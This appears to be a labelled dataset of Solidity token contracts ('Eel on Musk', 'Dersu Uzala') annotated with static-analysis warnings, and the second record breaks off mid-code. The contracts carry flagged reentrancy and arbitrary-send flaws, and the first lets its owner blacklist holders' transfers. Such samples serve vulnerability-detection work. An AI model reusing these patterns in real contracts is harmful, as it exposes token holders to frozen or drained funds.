files
dict
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract EelonMusk is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f82e42d): EelonMusk._taxWallet should be immutable \n\t// Recommendation for f82e42d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: dcd1c1a): EelonMusk._initialBuyTax should be constant \n\t// Recommendation for dcd1c1a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9317f70): EelonMusk._initialSellTax should be constant \n\t// Recommendation for 9317f70: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e009a1a): EelonMusk._reduceBuyTaxAt should be constant \n\t// Recommendation for e009a1a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5567078): EelonMusk._reduceSellTaxAt should be constant \n\t// Recommendation for 5567078: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: a7fc01e): EelonMusk._preventSwapBefore should be constant \n\t// Recommendation for a7fc01e: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Eel on Musk\";\n\n string private constant _symbol = unicode\"EOM\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 25ada08): EelonMusk._taxSwapThreshold should be constant \n\t// Recommendation for 25ada08: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d30e0b5): EelonMusk._maxTaxSwap should be constant \n\t// Recommendation for d30e0b5: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4165420): EelonMusk.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4165420: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: aebcf1c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for aebcf1c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 787d6eb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 787d6eb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: aebcf1c\n\t\t// reentrancy-benign | ID: 787d6eb\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: aebcf1c\n\t\t// reentrancy-benign | ID: 787d6eb\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9ec6f50): EelonMusk._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9ec6f50: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 787d6eb\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: aebcf1c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c803378): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c803378: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 589a06c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 589a06c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: c803378\n\t\t\t\t// reentrancy-eth | ID: 589a06c\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c803378\n\t\t\t\t\t// reentrancy-eth | ID: 589a06c\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 589a06c\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 589a06c\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 589a06c\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: c803378\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 589a06c\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 589a06c\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: c803378\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: c803378\n\t\t// reentrancy-events | ID: aebcf1c\n\t\t// reentrancy-benign | ID: 787d6eb\n\t\t// reentrancy-eth | ID: 589a06c\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 0853ec6): EelonMusk.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 0853ec6: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: c803378\n\t\t// reentrancy-events | ID: aebcf1c\n\t\t// reentrancy-eth | ID: 589a06c\n\t\t// arbitrary-send-eth | ID: 0853ec6\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7fe790a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7fe790a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9a2a3a9): EelonMusk.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9a2a3a9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6e0abd6): EelonMusk.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 6e0abd6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b9c9dd5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b9c9dd5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 7fe790a\n\t\t// reentrancy-eth | ID: b9c9dd5\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 7fe790a\n\t\t// unused-return | ID: 6e0abd6\n\t\t// reentrancy-eth | ID: b9c9dd5\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 7fe790a\n\t\t// unused-return | ID: 9a2a3a9\n\t\t// reentrancy-eth | ID: b9c9dd5\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 7fe790a\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b9c9dd5\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_10268.sol", "size_bytes": 20387, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract dersuuzala is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: c62a402): dersuuzala.bots is never initialized. It is used in dersuuzala._transfer(address,address,uint256)\n\t// Recommendation for c62a402: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8b4c2ba): dersuuzala._taxWallet should be immutable \n\t// Recommendation for 8b4c2ba: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 36bf49f): dersuuzala._initialBuyTax should be constant \n\t// Recommendation for 36bf49f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 369031e): dersuuzala._initialSellTax should be constant \n\t// Recommendation for 369031e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 967e368): dersuuzala._finalBuyTax should be constant \n\t// Recommendation for 967e368: Add the 'constant' attribute to state variables that never change.\n uint256 public _finalBuyTax = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 222c155): dersuuzala._finalSellTax should be constant \n\t// Recommendation for 222c155: Add the 'constant' attribute to state variables that never change.\n uint256 public _finalSellTax = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9ee0c7e): dersuuzala._reduceBuyTaxAt should be constant \n\t// Recommendation for 9ee0c7e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 40;\n\n\t// WARNING Optimization Issue (constable-states | ID: c734967): dersuuzala._reduceSellTaxAt should be constant \n\t// Recommendation for c734967: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 50;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6475e5a): dersuuzala._preventSwapBefore should be constant \n\t// Recommendation for 6475e5a: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 40;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Dersu Uzala\";\n\n string private constant _symbol = unicode\"DERSU\";\n\n uint256 public _maxTxAmount = 15000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 15000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 87f612f): dersuuzala._taxSwapThreshold should be constant \n\t// Recommendation for 87f612f: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 90dfc4c): dersuuzala._maxTaxSwap should be constant \n\t// Recommendation for 90dfc4c: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x5F14821dd87beC7C9f9213bdf8810A8dFEFC1e68);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 13ce3ac): dersuuzala.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 13ce3ac: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9eb69c4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9eb69c4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3bba1a0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3bba1a0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9eb69c4\n\t\t// reentrancy-benign | ID: 3bba1a0\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 9eb69c4\n\t\t// reentrancy-benign | ID: 3bba1a0\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3890ee0): dersuuzala._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3890ee0: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3bba1a0\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9eb69c4\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1851f92): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1851f92: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: c62a402): dersuuzala.bots is never initialized. It is used in dersuuzala._transfer(address,address,uint256)\n\t// Recommendation for c62a402: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 31435ee): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 31435ee: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 1851f92\n\t\t\t\t// reentrancy-eth | ID: 31435ee\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 1851f92\n\t\t\t\t\t// reentrancy-eth | ID: 31435ee\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 31435ee\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 31435ee\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 31435ee\n _balances[address(this)] = 